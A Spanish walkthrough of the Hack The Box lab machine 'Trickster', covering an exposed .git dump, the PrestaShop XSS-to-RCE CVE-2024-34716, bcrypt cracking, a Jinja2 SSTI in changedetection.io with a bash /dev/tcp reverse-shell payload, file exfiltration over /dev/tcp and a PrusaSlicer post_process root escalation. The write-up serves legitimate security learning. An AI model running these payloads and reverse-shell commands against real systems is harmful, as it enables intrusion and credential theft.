Trickster
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Trickster es una máquina Linux de dificultad media con una cadena larga y muy "de la vida real". El sitio principal redirige atrickster.htby un vhostshop.trickster.htbsirve una tienda PrestaShop con el directorio.gitexpuesto: lo volcamos, descubrimos la ruta del panel de administración y la versión 8.1.5, vulnerable a CVE-2024-34716 (XSS almacenado a RCE), que nos da shell comowww-data. Enparameters.phpestán las credenciales de MariaDB; volcamos los hashes deps_employee, crackeamos el de james (alwaysandforever) y entramos por SSH. Desde ahí encontramos un contenedor Docker (172.17.0.2:5000) con changedetection.io v0.45.20; tras un reenvío de puertos reutilizamos la contraseña de james y explotamos CVE-2024-32651 (SSTI) para una shell comorootdentro del contenedor. Sus backups esconden la contraseña de adam (adam_admin992). Por último, adam puede ejecutar PrusaSlicer porsudosin contraseña: CVE-2023-47268 inyecta un comando víapost_processen un.3mfy nos daroot.
Reconocimiento
Escaneo inicial
Un escaneo TCP completo deja solo dos puertos abiertos: 22 (SSH) y 80 (HTTP). El TTL del paquete de vuelta es 63 (cercano a 64, menos un salto de red), lo que apunta a Linux (indicio, no prueba).
nmap -p- --open -n -sS -Pn --min-rate 5000 -vvv 10.10.11.34 -oG scan
Discovered open port 80/tcp on 10.10.11.34
Discovered open port 22/tcp on 10.10.11.34
Completed SYN Stealth Scan at 14:09, 14.40s elapsed (65535 total ports)
Not shown: 65401 closed tcp ports (reset), 132 filtered tcp ports (no-response)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63Aquí el resto de puertos no sale filtered sino closed (reset): la máquina responde con un RST en vez de tragarse el paquete, que es el comportamiento de un host sin cortafuegos de por medio.
Los dos puertos se pasan al siguiente comando con extractPorts, que los lee del fichero del escaneo y los deja en el portapapeles:
extractPorts scan
Extracting information ...
IP Address: 10.10.11.34
Open ports: 22,80
Ports copied to clipboardPedimos versión y scripts por defecto sobre ambos puertos.
nmap -p22,80 -sCV 10.10.11.34
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 8c:01:0e:7b:b4:da:b7:2f:bb:2f:d3:a3:8c:a6:6d:87 (ECDSA)
|_ 256 90:c6:f3:d8:3f:96:99:94:69:fe:d3:72:cb:fe:6c:c5 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://trickster.htb/
Service Info: Host: _; OS: Linux; CPE: cpe:/o:linux:linux_kernelOpenSSH 8.9p1 y Apache 2.4.52 son los de Ubuntu 22.04 (jammy). Y el http-title trae el dato que desbloquea todo lo demás: Did not follow redirect to http://trickster.htb/. Ese mensaje significa que el servidor no responde por IP, sino que redirige a un nombre; sin ese nombre en /etc/hosts el navegador no resuelve nada y la máquina parece vacía.
sudo nano /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
10.10.11.34 trickster.htbCon el nombre ya resuelto, whatweb interroga al servidor para saber qué hay detrás:
whatweb http://trickster.htb
http://trickster.htb [403 Forbidden] Apache[2.4.52], Country[RESERVED][ZZ],
HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.10.11.34], Title[403 Forbidden]La petición devuelve un 403 Forbidden, pero las cabeceras ya confirman lo que decía el escaneo de versiones: Apache 2.4.52 sobre Ubuntu, sin ningún framework que se delate por firma.
El vhost shop.trickster.htb
Con el dominio resuelto, trickster.htb carga una web corporativa estática. No hay panel ni formularios, pero el menú superior tiene una entrada que sí lleva a algo dinámico: SHOP.

Ese enlace apunta al subdominio shop.trickster.htb, que de entrada no resuelve, porque el DNS de nuestra máquina no sabe nada de él:

Hmm. We're having trouble finding that site.
We can't connect to the server at shop.trickster.htb.La solución es la misma de antes, añadirlo al /etc/hosts. No hizo falta fuzzear vhosts: el propio sitio lo publicaba, que es siempre lo primero que conviene mirar antes de lanzar un diccionario de 20.000 nombres.
sudo nano /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
10.10.11.34 trickster.htb shop.trickster.htb
A diferencia de la portada, la tienda es una aplicación completa: catálogo, carrito, Sign in, buscador. Está construida con PrestaShop (CMS de comercio electrónico en PHP), y ahí se concentra la superficie de ataque.
Shell como www-data
El directorio .git expuesto
Probando rutas habituales de fugas, shop.trickster.htb/.git/ responde con un listado de directorio: el repositorio Git de la tienda está servido bajo la raíz web. Eso filtra el código fuente completo y su historial.

Lo volcamos con git-dumper, que reconstruye el repositorio localmente descargando el índice y todos los blobs alcanzables.
python3 git_dumper.py http://shop.trickster.htb/.git/ /home/krmena/machines/trickster/content/git-dumper/shop
[-] Testing http://shop.trickster.htb/.git/HEAD [200]
[-] Testing http://shop.trickster.htb/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://shop.trickster.htb/.gitignore [404]
[-] Fetching http://shop.trickster.htb/.git/logs/ [200]
[-] Fetching http://shop.trickster.htb/.git/index [200]
[-] Fetching http://shop.trickster.htb/.git/logs/HEAD [200]
[-] Fetching http://shop.trickster.htb/.git/hooks/commit-msg.sample [200]El 404 del .gitignore es solo ruido de la herramienta, que lo prueba siempre. Lo importante es que index, logs/HEAD y el árbol de objetos responden con 200: el repositorio entero es descargable.
cd shop
git logEl historial revela dos datos clave. El autor del commit inicial es adam <adam@trickster.htb> (un nombre de usuario válido del sistema) y el mensaje es "update admin pannel".

0000000000000000000000000000000000000000 0cbc7831c1104f1fb0948ba46f75f1666e18e64c adam <adam@trickster.htb> 1716538399 -0400 commit (initial): update admin pannelEl .git/logs/HEAD deja el commit inicial firmado por adam <adam@trickster.htb> con el mensaje update admin pannel.
PrestaShop renombra el panel de administración a un directorio con sufijo aleatorio (para dificultar su descubrimiento). La documentación del propio proyecto lo describe así: la carpeta de administración se crea durante la instalación con la palabra admin seguida de una cadena aleatoria, y hay que conocerla para entrar. Y ese nombre está entre los ficheros volcados:
ls
INSTALL.txt Install_PrestaShop.html LICENSES Makefile admin634ewutrx1jgitlooaj
autoload.php error500.html index.php init.phpAquí está el porqué de volcar el .git en lugar de mirar solo el navegador: el servidor web oculta ese directorio en la navegación normal, pero vive dentro de los blobs del repositorio. Entrando a shop.trickster.htb/admin634ewutrx1jgitlooaj/ aparece el login del back-office, y su cabecera revela la versión:

shop.trickster.htb/admin634ewutrx1jgitlooaj/index.php?controller=AdminLogin&token=be9a5cdf914b6e841e76eaf7f3c4e5af
PrestaShop
8.1.5
Trickster Store
Email address / Password -> LOG INPrestaShop 8.1.5, escrito debajo del logo antes siquiera de autenticarse.
CVE-2024-34716: de XSS almacenado a RCE
Buscando vulnerabilidades para esa versión aparece el CVE que abre la máquina:

CVE-2024-34716: PrestaShop XSS Vulnerability
Disclosed on 24/05/2024
PrestaShop is an open source e-commerce web application ... it offers a customer-thread feature that
enables communication between customers and administrators. However, a vulnerability has been identified
in PrestaShop versions 8.1.0 to 8.1.5, where an attacker can exploit a cross-site scripting (XSS)
vulnerability through the customer-thread feature. This vulnerability allows the attacker to upload a
malicious file containing an XSS payload, which can be executed when an admin opens the attached file in
the back office. By injecting a script, the attacker can access the session and security token, granting
them the ability to perform any authenticated action within the administrator's scope of rights.PrestaShop 8.1.5 es vulnerable a CVE-2024-34716, una cadena que combina un XSS almacenado en el módulo de atención al cliente con una falta de protección CSRF en el back-office. Un atacante anónimo envía un mensaje con un payload JavaScript; cuando un administrador lo abre en el panel, ese JavaScript (ya con la sesión del admin) crea un tema malicioso y sube un webshell. La salvedad importante: necesita que el admin abra el mensaje; en esta máquina un proceso automatizado hace ese papel.
Usamos el exploit público aelmokhtar/CVE-2024-34716:

aelmokhtar / CVE-2024-34716
README.md
exploit.html
exploit.py
ps_next_8_theme_malicious_old.zip
requirements.txt
reverse_shell_template.phpLos nombres de los ficheros ya cuentan el ataque: un exploit.html con el XSS, un tema de PrestaShop manipulado (ps_next_8_theme_malicious_old.zip) y la plantilla de la reverse shell PHP que ese tema acaba dejando en el servidor. Recibe la URL de la tienda, el correo del administrador (el admin@trickster.htb que conocemos) y nuestra IP de escucha. Levanta un servidor HTTP que sirve el tema malicioso comprimido, envía el mensaje con el XSS y espera a que el "admin" lo abra.
python3 exploit.py --url http://shop.trickster.htb --email admin@trickster.htb --local-ip 10.10.15.39A los pocos segundos, el proceso simulado abre el mensaje, se sube el reverse_shell_new.php dentro del tema y recibimos la conexión: shell como www-data.

[X] Starting exploit with:
Url: http://shop.trickster.htb
Email: admin@trickster.htb
Local IP: 10.10.15.39
Admin Path: admin634ewutrx1jgitlooaj
...
$ whoami
www-dataShell como james
linpeas: mucho ruido y una pista
Lo primero desde la shell de www-data es enumerar el sistema. linpeas se sirve desde el atacante y se baja al /tmp de la víctima:
python3 -m http.server 80wget http://10.10.15.39/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
./linpeas.sh: line 1: syntax error near unexpected token `('
./linpeas.sh: line 1: `Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... '
...
linpeas.sh 100%[===================>] 805.42K 1.58MB/s in 0.5s
2024-10-13 22:29:27 (1.58 MB/s) - 'linpeas.sh' saved [824745/824745]El primer fichero se bajó corrupto (contenía la propia salida del servidor HTTP en vez del script), de ahí el syntax error de la primera línea; se borra y se vuelve a descargar.
El informe no destapa ninguna escalada directa, pero sí una pieza que después resulta ser la clave:

Useful software
/usr/bin/curl
/usr/bin/docker
/usr/bin/gcc
/usr/bin/nc
/usr/bin/php
/usr/bin/python3
/usr/sbin/runc
/usr/bin/socatdocker y runc instalados: hay contenedores en esta máquina, dato que se aprovecha mucho más adelante. El resto de hallazgos son callejones sin salida, y conviene enseñarlos porque forman parte del trabajo real:

Analyzing MariaDB Files (limit 70)
-rw-r--r-- 1 root root 1126 Dec 2 2023 /etc/mysql/mariadb.cnf
[client-server]
socket = /run/mysqld/mysqld.sock
-rw------- 1 root root 544 May 23 20:35 /etc/mysql/debian.cnfEl mariadb.cnf solo trae la configuración por defecto y el debian.cnf, que sí guardaría credenciales, es -rw------- de root: ilegible como www-data.

Possible private SSH keys were found!
/var/www/prestashop/translations/en-US/AdminAdvparametersHelp.en-US.xlf
/var/www/prestashop/var/cache/prod/ContainerDjH7WXX/getAccessTokenControllerService.php
/var/www/prestashop/var/cache/prod/FrontContainer.phpFalso positivo de manual: son ficheros de traducción y de caché de PrestaShop que contienen la cadena BEGIN ... PRIVATE KEY dentro de textos o de plantillas, no claves utilizables.
Credenciales de MariaDB en parameters.php
Como toda instalación de PrestaShop, la configuración de la base de datos vive en /var/www/prestashop/app/config/parameters.php. Lo leemos desde la shell de www-data.
cat /var/www/prestashop/app/config/parameters.php
'database_host' => '127.0.0.1',
'database_port' => '',
'database_name' => 'prestashop',
'database_user' => 'ps_user',
'database_password' => 'prest@shop_o',
'database_prefix' => 'ps_',
'database_engine' => 'InnoDB',
'mailer_transport' => 'smtp',
'mailer_host' => '127.0.0.1',
'secret' => 'eHPDO7bBZPjXWbv3oSLIpkn5XxPvcvzt7ibaHTgWhTBM3e7S9kbeB1TPemtIgzog',La base de datos solo escucha en 127.0.0.1, pero estamos dentro del host, así que nos conectamos localmente con esas credenciales.
mariadb -u ps_user -p
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 12412
Server version: 10.6.18-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04
MariaDB [(none)]> show tables;
ERROR 1046 (3D000): No database selected
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| prestashop |
+--------------------+
2 rows in set (0.001 seconds)
MariaDB [(none)]> use prestashop;
Reading table information for completion of table and column namesVolcar y crackear los hashes de ps_employee
El primer sitio donde mirar son los clientes, aunque el nombre exacto de la tabla no es el que uno espera (ps_customers no existe, es ps_customer, en singular):
select * from ps_customers;
select * from ps_customer;
ERROR 1146 (42S02): Table 'prestashop.ps_customers' doesn't exist
| firstname | lastname | email | passwd |
| Anonymous | Anonymous| anonymous@psgdpr.com | $2y$10$054Mo38DcRSLaMX9OhT5UuhYSQvorGu8nZb9Gub... |
| John | DOE | pub@prestashop.com | $2y$10$Cw68h0u8YeP6IiYRRaOjQu4AV7X9BTQL3ZK4CtH... |
| adam | adam | adam@trickster.htb | $2y$10$kY2G39RBz9P0S48EuSobuOJba/HgmQ7ZtajfZZ3... |
3 rows in set (0.001 sec)Esos tres son clientes de la tienda, no empleados, y los dos primeros son cuentas de demostración de PrestaShop. La tabla que importa es otra: ps_employee guarda las cuentas del back-office con su contraseña hasheada. Volcamos sus dos filas: admin y james.
select id_employee, email, passwd from ps_employee;
admin@trickster.htb $2y$10$P8wO3jruKKpvKRgWP6o7o.rojbDoABG9StPUt0dR7LIeK26RdlB/C
james@trickster.htb $2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmmAntes de lanzar nada conviene confirmar el algoritmo, en vez de darlo por supuesto:

1 hashes were checked: 1 possibly identified 0 no identification
$2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmm
- Possible algorithms: bcrypt $2*$, Blowfish (Unix)Ambos son bcrypt (modo 3200 de hashcat). El de james usa un cost bajo ($2a$04$), es decir 2^4 = 16 iteraciones frente a las 1024 del $2y$10$ del admin, así que es el único candidato realista para crackearlo con un diccionario.
sudo hashcat -m 3200 -a 0 -o found.txt jon.hashes /home/krmena/rockyoudir/rockyou.txt
hashcat (v6.2.6) starting
* Device #1: cpu-haswell-Intel(R) Core(TM) i5-10500H CPU @ 2.50GHz, 2899/5863 MB (1024 MB allocatable), 8MCU
Hashes: 1 digests; 1 unique digests, 1 unique salts
Dictionary cache hit:
* Filename..: /home/krmena/rockyoudir/rockyou.txt
* Passwords.: 14344373El hash de james cae: la contraseña es alwaysandforever.

$2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmm:alwaysandforeverEl --show de hashcat empareja el hash $2a$04$ de james con su contraseña en claro: alwaysandforever.
Como james es también un usuario del sistema, probamos esas credenciales por SSH y entran. La flag de usuario es legible desde su home.
su james # contraseña: alwaysandforever
cd
cat user.txt
www-data@trickster:/$ su james
Password:
james@trickster:/$ cd
james@trickster:~$ ls
user.txt
james@trickster:~$ cat user.txt
9054e3e05bd5187172db3d4b0d41e09cLa contraseña vale igual por SSH, que es más cómodo para lo que viene (hará falta un túnel):
ssh james@10.10.11.34Shell en el contenedor (changedetection)
Descubrir el contenedor Docker
El docker que anunciaba linpeas se confirma mirando las interfaces de red:
ip a
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500
inet 10.10.11.34/23 brd 10.10.11.255 scope global eth0
3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500
link/ether 02:42:13:3b:09:9c
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
115: vethac7b829@if114: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 master docker0 state UPEl puente docker0 en 172.17.0.1/16 y una veth colgando de él: hay al menos un contenedor levantado. Un barrido de ping por el rango del puente lo localiza:
for i in {1..255}; do $(ping -c 1 172.17.0.$i | grep "bytes from"|cut -d ' ' -f4 | tr -d ':' &); done
172.17.0.1: command not found
172.17.0.2: command not foundEl command not found no es un error, es el truco: el $(...) hace que bash intente ejecutar lo que devuelve la tubería, así que solo las IP que contestaron al ping acaban impresas de esa forma. Aparte del propio puente (.1), hay un contenedor vivo en 172.17.0.2.
Sin nmap en la víctima, escaneamos sus puertos con el pseudo-dispositivo /dev/tcp de bash, que abre un socket por cada número probado:
nano enum.sh
chmod +x enum.sh
./enum.sh#!/bin/bash
container_ip="172.17.0.2"
echo "[*] Checking open ports on containers IP: $container_ip"
for port in {1..65535}; do
(echo > /dev/tcp/$container_ip/$port) > /dev/null 2>&1 && echo "
[+] Port: $port - opened !";
done
[*] Checking open ports on containers IP: 172.17.0.2
[+] Port: 5000 - opened !Un solo puerto, el 5000. Se comprueba a mano, con un puerto cerrado al lado para ver la diferencia:
echo > /dev/tcp/172.17.0.2/5000
echo > /dev/tcp/172.17.0.2/500
james@trickster:~$ echo > /dev/tcp/172.17.0.2/5000
james@trickster:~$ echo > /dev/tcp/172.17.0.2/500
-bash: connect: Connection refused
-bash: /dev/tcp/172.17.0.2/500: Connection refusedEl 5000 devuelve al prompt sin decir nada (conexión establecida) y el 500 rebota con Connection refused.
Ese puerto no es accesible desde nuestra máquina, así que aplicamos un reenvío de puertos sobre SSH para mapear el 5000 del contenedor a nuestro 5001 local.
ssh -L 127.0.0.1:5001:172.17.0.2:5000 james@trickster.htb
# ssh -L 127.0.0.1:5001:172.17.0.2:5000 james@trickster.htb
james@trickster.htb's password:
Last login: Sun Oct 27 00:27:49 2024 from 127.0.0.1
james@trickster:~$En http://127.0.0.1:5001 responde changedetection.io, una aplicación que vigila cambios en páginas web, protegida por una contraseña que al primer intento no acertamos:

CHANGEDETECTION.IO
Incorrect password
Password [ ............... ] LoginLa esquina, ya dentro, muestra la versión: v0.45.20.

changedetection.io v0.45.20La esquina del panel identifica la aplicación y su versión, changedetection.io v0.45.20, la pieza que delata el CVE.
CVE-2024-32651: SSTI en las notificaciones
El login de changedetection acepta la contraseña reutilizada de james, alwaysandforever (reutilización de credenciales). Una vez dentro, la versión 0.45.20 es vulnerable a CVE-2024-32651: el cuerpo de las notificaciones se renderiza con Jinja2 sin aislar, lo que permite una inyección de plantillas del lado del servidor (SSTI) que termina en RCE.
La ficha del CVE confirma el alcance:

Server-Side Template Injection
Affecting changedetection.io package, versions [,0.45.21)
INTRODUCED: 26 APR 2024 CVE-2024-32651 CWE-1336
Severity: 10.0 CRITICAL
How to fix? Upgrade changedetection.io to version 0.45.21 or higher.
Affected versions of this package are vulnerable to Server-Side Template Injection due to improper
handling of template data. An attacker can execute arbitrary commands on the server by crafting
malicious input that exploits the template rendering process.El aviso remata con dos notas que encajan con esta máquina: la explotación se reduce si hay contraseña en el panel (la había, pero la teníamos) y permite la toma completa del servidor, incluida una reverse shell.
Antes de pedir una shell, la prueba de concepto barata: un id. Se configura una URL a vigilar que apunte a nuestra máquina (post://10.10.15.39/4444/test) y, en el cuerpo de la notificación, la plantilla que ejecuta el comando. Send test notification la renderiza:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
Notification URL List : post://10.10.15.39/4444/test
Notification Body : {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
[Send test notification] -> OK - Sent test notificationsConfirmado que la plantilla se ejecuta, se cambia el comando por la reverse shell. Mantenemos nc a la escucha:
nc -nlvp 443
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('/bin/bash -c "bash -i >& /dev/tcp/10.10.15.39/443 0>&1"').read() }}El listener recibe la conexión.

# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.15.39] from (UNKNOWN) [10.10.11.34] 45108
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@a4b9a36ae7ff:/app#El hostname a4b9a36ae7ff es el identificador corto del contenedor, la confirmación de que estamos dentro del Docker y no en el host. La aplicación corre como root dentro del contenedor, así que caemos directamente como uid=0(root) en ese entorno aislado (no es root en el host).

uid=0(root) gid=0(root) groups=0(root)Shell como adam
Credenciales en los backups de changedetection
Dentro del contenedor, el directorio de datos de changedetection guarda copias de seguridad exportables:
ls
cd datastore
ls
cd Backups
ls
root@a4b9a36ae7ff:/# ls
app bin boot datastore dev etc home lib ...
root@a4b9a36ae7ff:/datastore# ls
627d4ea8-5b85-4240-a694-82d00648af2d secret.txt
b86f1003-3ecb-4125-b090-27e15ca605b9 url-list-with-tags.txt
bbdd78f6-db98-45eb-9e7b-681a0c60ea34 url-list.txt
Backups url-watches.json
changedetection-backup-20241027010852.zip
root@a4b9a36ae7ff:/datastore/Backups# ls
changedetection-backup-20240830194841.zip
changedetection-backup-20240830202524.zipLos dos ZIP de agosto son los interesantes (el de octubre lo genera el propio laboratorio al arrancar). Los exfiltramos al equipo atacante con /dev/tcp, ya que no hay scp cómodo desde el contenedor.
# en el contenedor
cat changedetection-backup-20240830194841.zip > /dev/tcp/10.10.15.39/4445
# en nuestra máquina
nc -lnvp 4445 > changedetection-backup-20240830194841.zipAl descomprimir los ZIP aparecen ficheros .txt.br:
unzip changedetection-backup-20240830202524.zip
Archive: changedetection-backup-20240830202524.zip
inflating: url-watches.json
inflating: secret.txt
inflating: b86f1003-3ecb-4125-b090-27e15ca605b9/history.txt
inflating: b86f1003-3ecb-4125-b090-27e15ca605b9/dd25d6c8b666e21ac6e596faa4d4a93d.txt.br
inflating: bbdd78f6-db98-45eb-9e7b-681a0c60ea34/history.txt
inflating: bbdd78f6-db98-45eb-9e7b-681a0c60ea34/ba1fe8fcfb743ba16a136d805c38328f.txt.brunzip changedetection-backup-20240830194841.zip
Archive: changedetection-backup-20240830194841.zip
creating: b4a8b52d-651b-44bc-bbc6-f9e8c6590103/
extracting: b4a8b52d-651b-44bc-bbc6-f9e8c6590103/f04f0732f120c0cc84a993ad99decb2c.txt.br
extracting: b4a8b52d-651b-44bc-bbc6-f9e8c6590103/history.txt
b4a8b52d-651b-44bc-bbc6-f9e8c6590103 bbdd78f6-db98-45eb-9e7b-681a0c60ea34
b86f1003-3ecb-4125-b090-27e15ca605b9 changedetection-backup-20240830194841.zip
changedetection-backup-20240830202524.zip found.txtCada directorio es una página vigilada, y dentro está el contenido capturado:

# cd b4a8b52d-651b-44bc-bbc6-f9e8c6590103
# ls
f04f0732f120c0cc84a993ad99decb2c.txt.br history.txtLa extensión .br es Brotli, el algoritmo de compresión de Google que changedetection usa para guardar las instantáneas. Hace falta la herramienta:
sudo apt install -y brotli
The following packages were automatically installed and are no longer required:
fonts-liberation2 libcephfs2 libgfapi0 libibverbs1 libplacebo
freerdp2-x11 libdaxctl1 libgfrpc0 libimobiledevice6 liblist3
hydra-gtk libfreerdp-client2-t64 libgfxdr0 libiniparser1 libgmem1
...
Use 'sudo apt autoremove' to remove them.brotli -d f04f0732f120c0cc84a993ad99decb2c.txt.br
cat f04f0732f120c0cc84a993ad99decb2c.txt
Lo que changedetection estaba vigilando era, precisamente, un parameters.php. Y esa copia no es la de ps_user, sino una anterior:

'database_host' => '127.0.0.1',
'database_name' => 'prestashop',
'database_user' => 'adam',
'database_password' => 'adam_admin992',
'database_prefix' => 'ps_',Ahí está la contraseña de adam: adam_admin992.
Probamos esa contraseña con su adam en el host (donde adam sí es un usuario real) y cambiamos de usuario.
su adam # contraseña: adam_admin992
james@trickster:~$ su adam
Password:
adam@trickster:/home/james$su adam con adam_admin992 cambia el prompt a adam@trickster: la contraseña de la base de datos estaba reutilizada como la del usuario del sistema.
Shell como root
sudo sobre PrusaSlicer
Lo primero como adam es revisar qué puede ejecutar con sudo.
sudo -l
User adam may run the following commands on trickster:
(ALL) NOPASSWD: /opt/PrusaSlicer/prusaslicerPrusaSlicer es un slicer de impresión 3D: convierte un modelo (.stl, .obj, .3mf) en las instrucciones G-code que entiende una impresora. Poder ejecutarlo como root sin contraseña es la puerta a la escalada, pero primero hay que saber qué versión es. El /tmp de la máquina guarda un G-code ya generado por el usuario james, y las cabeceras de un G-code declaran quién lo produjo:
cat Cuerpo1.gcode | head -n 1
; generated by PrusaSlicer 2.6.1+linux-x64-GTK2 on 2024-10-27 at 00:22:34 UTCPrusaSlicer 2.6.1, y de paso la confirmación de que alguien procesa ficheros .3mf en esta máquina.
CVE-2023-47268: inyección por post_process
La versión instalada es vulnerable a CVE-2023-47268: PrusaSlicer ejecuta el script definido en la directiva post_process después del slicing. Esa directiva vive dentro del fichero Metadata/Slic3r_PE.config de un proyecto .3mf (un ZIP con el modelo y su configuración). Como el .3mf lo aportamos nosotros, también aportamos el post_process; y como PrusaSlicer se ejecuta como root, el comando corre como root.
Creamos un objeto 3D con la propia interfaz de PrusaSlicer (la instalamos en una máquina aparte) y, en la pestaña de Output options → Post-processing scripts, indicamos el comando que prepara la escalada (hacer SUID una shell). Exportamos el proyecto como .3mf.

El objeto en sí da igual, solo tiene que existir para que haya algo que rebanar:

Se exporta el proyecto en formato 3MF (3D Manufacturing Format), que es un ZIP con el modelo y toda la configuración, incluido el post_process que acabamos de escribir:

Nombre: poc.3mf
Tipo: 3MF files (*.3mf)El fichero está en el equipo donde se instaló PrusaSlicer, así que hace falta un doble salto para llevarlo hasta la víctima. Primero de ese equipo al Kali:
python -m http.server 80
C:\Users\Jaime\Desktop>python -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...wget http://192.168.0.17/poc.3mf
--2024-10-27 15:10:37-- http://192.168.0.17/poc.3mf
HTTP request sent, awaiting response... 200 OK
Length: 18117 (18K) [application/octet-stream]
2024-10-27 15:10:37 (22.8 MB/s) - 'poc.3mf' saved [18117/18117]Y del Kali a la víctima:
python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.34 - - [27/Oct/2024 15:11:17] "GET / HTTP/1.1" 200 -
10.10.11.34 - - [27/Oct/2024 15:11:24] "GET /poc.3mf HTTP/1.1" 200 -wget http://10.10.15.39/poc.3mf
adam@trickster:/tmp$ wget http://10.10.15.39/poc.3mf
HTTP request sent, awaiting response... 200 OK
Length: 18117 (18K) [application/vnd.ms-3mfdocument]
2024-10-27 14:11:25 (181 KB/s) - 'poc.3mf' saved [18117/18117]Con el .3mf en /tmp, lo procesamos con sudo. El slicing completa y dispara el post_process; después invocamos la shell privilegiada.
sudo /opt/PrusaSlicer/./prusaslicer -s poc.3mf
/bin/bash -p
whoamiSi el slicing falla por el formato del nombre de salida, basta ajustar la línea output_filename_format del Slic3r_PE.config (dentro del Metadata/ del .3mf) para que el procesado complete:

; output_filename_format = {input_filename_base}_{nozzle_diameter[initial_tool]}n_{layer_height}mm_{printing_filament_types}_{printer_model}_{print_time}.gcodeTras /bin/bash -p tenemos shell de root y leemos la flag.

adam@trickster:/tmp$ sudo /opt/PrusaSlicer/./prusaslicer -s poc.3mf
10 => Processing triangulated mesh
20 => Generating perimeters
30 => Preparing infill
45 => Making infill
65 => Searching support spots
69 => Alert if supports needed
88 => Generating skirt and brim
90 => Exporting G-code to Cuerpo1.gcode
Slicing result exported to Cuerpo1.gcode
adam@trickster:/tmp$ /bin/bash -p
bash-5.1# whoami
root
bash-5.1# cat root.txt
fcdf53072252fa6e1ded15b115095dd2Máquina rooteada.

Cadena de ataque
shop.trickster.htb (PrestaShop)
│ .git expuesto ─► git-dumper ─► ruta admin + versión 8.1.5 + usuario adam
▼
CVE-2024-34716 (XSS almacenado a RCE) ─► shell www-data
│ parameters.php: ps_user / prest@shop_o
▼
MariaDB ps_employee ─► hash bcrypt de james ─► crack: alwaysandforever
│ ssh james ─► user.txt
▼
Docker 172.17.0.2:5000 (changedetection v0.45.20) ─► port forward + reuso de contraseña
│ CVE-2024-32651 (SSTI en notificaciones) ─► root dentro del contenedor
▼
backups changedetection (brotli) ─► contraseña de adam: adam_admin992 ─► su adam
│ sudo -l: NOPASSWD /opt/PrusaSlicer/prusaslicer
▼
CVE-2023-47268 (post_process en .3mf) ─► /bin/bash -p ─► root ─► root.txtLecciones aprendidas
- Un
.gitexpuesto es el código fuente entero. No solo filtró la versión de PrestaShop, sino la ruta secreta del panel de administración y el nombre de usuario (adam) del autor de los commits. Lo que el navegador no servía sí estaba en los blobs del repositorio: por eso volcar el.gitvio más que la navegación normal. - La versión marca el exploit en cada salto. PrestaShop 8.1.5 → CVE-2024-34716; changedetection 0.45.20 → CVE-2024-32651; PrusaSlicer vulnerable → CVE-2023-47268. Identificar producto y versión fue, en las tres fases, más rápido que cualquier fuzzing.
- Las credenciales se reutilizan. La contraseña de james abrió tanto SSH como el login de changedetection. Validar cada credencial en cada servicio (reutilización de credenciales) ahorró un paso entero de la cadena.
rooten un contenedor no esrooten el host. El SSTI nos diouid=0dentro del Docker, pero el valor estuvo en enumerar sus artefactos: los backups de changedetection guardaban la contraseña de adam. El pivote por contenedores suele ser extraer secretos, no escapar.sudo NOPASSWDsobre un binario que procesa ficheros del usuario es RCE comoroot. PrusaSlicer ejecutapost_processembebido en el.3mf; cualquier formato con scripting (macros, plantillas, hooks) convierte esesudoen una shell privilegiada.